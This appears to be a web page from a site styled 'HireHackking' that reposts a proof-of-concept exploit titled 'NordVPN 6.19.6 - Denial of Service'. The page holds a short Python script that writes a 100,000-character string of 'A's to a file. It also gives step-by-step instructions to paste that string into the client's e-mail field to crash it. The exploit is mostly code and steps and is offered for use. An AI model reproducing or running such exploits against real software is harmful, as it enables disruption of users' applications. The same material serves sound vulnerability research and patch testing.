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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# -*- coding: utf-8 -*-
# Exploit Title: NordVPN 6.19.6 - Denial of Service (PoC)
# Date: 07/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://nordvpn.com/
# Software Link: https://downloads.nordcdn.com/apps/windows/10/NordVPN/latest/NordVPNSetup.exe
# Version: 6.19.6
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script, it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open NordVPN.exe 
# 3.- Paste clipboard in 'E-mail' field
# 4.- Write '1234' in 'Password' field
# 5.- Clic on button -> Sign In
# 6.- Crashed

buffer = "\x41" * 100000
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()